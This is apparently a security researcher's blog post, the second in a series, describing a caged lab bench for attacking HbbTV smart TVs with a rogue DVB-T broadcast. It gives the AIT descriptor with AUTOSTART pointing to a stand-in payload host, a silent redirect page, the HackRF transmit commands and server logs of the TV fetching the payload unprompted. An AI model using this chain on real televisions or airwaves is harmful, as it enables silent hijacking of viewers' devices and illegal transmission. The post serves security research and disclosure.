Part 2 of the HbbTV notes from the lab series. The first post described what HbbTV is and why I am interested in it. This one describes the bench.

The bench I have built for this work is, I want to stress at the top, entirely indoors and entirely inside a Faraday cage. I am genuinely not interested in finding out what Ofcom does to people who broadcast DVB on licensed UHF frequencies without paperwork, and you should not be interested in finding out either. The licensing bit is not optional. If the only thing you take from this post is "do not transmit DVB into open air in the UK", I will consider that a win.

That said, the rig is not expensive, and it is not complicated. Building it gave me a good intuition for what an attacker would have to do, and a useful answer to can a hobbyist actually do this? — which, as far as I can tell, is yes.

The shopping list

Total spend, including the TV: a little over £2,000. A real attacker willing to make do with shorter range and lower bandwidth could come in below £1,000 by skipping the USRP and the screened tent (because they wouldn't be operating inside a screened tent — they'd be in a van).

Building the broadcast

The MPEG-TS that the TV receives needs three things in it:

1. A regular video/audio elementary stream — almost any encoded H.264 will do, the TV does not actually care what's in the video, only that there's something to lock onto. 2. A PMT (Program Map Table) and PAT (Program Allocation Table) describing the multiplex. 3. An AIT descriptor pointing at the HbbTV application.

tsduck makes the first two trivial. The third is the interesting bit. The AIT structure is defined in TS 102 809 (the broader application-signalling spec). The relevant binary layout is small enough to assemble by hand if you want — I am using a short Python script to build the AIT and tsduck's tsp -P inject to splice it into the muxed transport stream every 200 ms.

The application descriptor inside my AIT looks roughly like this:

AIT {
  application_id     : 0x0001
  organisation_id    : 0xCAFEBABE
  control_code       : AUTOSTART
  application_type   : 0x0010   (HbbTV)
  transport_protocol : HTTP
  base_url           : http://payload-vps.example/
  initial_path       : index.html
}

AUTOSTART is the operative word. It tells the TV to launch the application the moment it locks the channel, without waiting for a user keypress. Once the AIT is broadcast, every TV in earshot that is tuned to this multiplex will fetch http://payload-vps.example/index.html and hand it to its embedded browser.

The index.html I am serving is a near-direct lift of the published HbbTV "Supercool Little App" reference template — oipfApplicationManager object, hbbtvlib.js init, the lot — with a single substitution: instead of waiting for VK_RED, it sets document.location.href to a second URL inside window.onload. The browser fetches that URL in the background. The user sees nothing on screen — the corporate noticeboard rendering continues. The browser is now sitting on http://payload-vps.example/runme.html, which is the page from which all the actually-interesting work starts. That is the subject of Part 3.

Modulating it

tsduck produces a clean MPEG-TS file on disk. To get from that to RF, I am using dvb-t-radio from osmo-fl2k to generate a DVB-T baseband, and the HackRF One to up-convert and transmit on UHF channel 22 (482 MHz, an arbitrary choice — pick something not in use in your jurisdiction and not within the screened tent's escape band, which is to say, pick something that doesn't matter).

# Generate DVB-T baseband
dvb-t-radio -f 482000000 -b 8000000 -m QAM64 -c 2/3 \
            -g 1/8 -i stream.ts -o stream.iq

# Transmit via HackRF
hackrf_transfer -t stream.iq -f 482000000 -s 8000000 -x 14

The -x 14 is the transmitter gain in dB. With the antenna and attenuators in place, the in-cage signal strength at the TV is about -45 dBm — which is comfortably above the threshold the TV needs to lock, and several orders of magnitude weaker than what any real broadcaster outputs. Outside the cage, on a calibrated spectrum analyser at five feet, the signal is below the noise floor.

What it looks like from the TV

The first time I powered the TV on inside the cage with the HackRF transmitting, the TV picked the channel up on auto-tune as if it were a normal terrestrial broadcast. The video frame the TV decoded was a single H.264 still I had encoded — the Hedgehog Security logo, because I needed a placeholder, not because anybody at Hedgehog asked me to. (Sorry, marketing.)

The browser instance the TV span up was visible only on nginx's access log on my payload VPS:

192.0.2.x - - [19/Jun/2021:14:11:09 +0000] "GET /index.html HTTP/1.1" 200 1402
192.0.2.x - - [19/Jun/2021:14:11:09 +0000] "GET /js/hbbtvlib.js HTTP/1.1" 200 4118
192.0.2.x - - [19/Jun/2021:14:11:09 +0000] "GET /runme.html HTTP/1.1" 200 312

No keypress. No on-screen flicker. No notification. The TV believed it was doing a normal HbbTV application load, because it was.

The user-facing display continued to show what the corporate-messaging stream wanted it to show. The browser was elsewhere.

The legal bit, again

I cannot emphasise this enough: this whole rig is legal only because the Faraday enclosure means no signal escapes. The moment a DVB-T transmitter goes on the air in the UK without a licence, Ofcom can — and does — locate it with direction-finding and prosecute under the Wireless Telegraphy Act 2006. The fines start at £5,000 and the criminal record sticks. If you want to do this work, do it in a cage or on a dummy load.

If you are at a university with a screened room and a research licence: that is the route. If you are at home: a fabric cage costs about £450 and a tabletop one about £180.

What I have working at the end of this session

The next post is the part most readers came for: getting from "browser fetches my HTML" to "I have a shell on the TV". That is largely a matter of knowing which V8 bug is going to be unpatched on this generation of TV, and not having to look very hard.

Next post: the exploitation chain.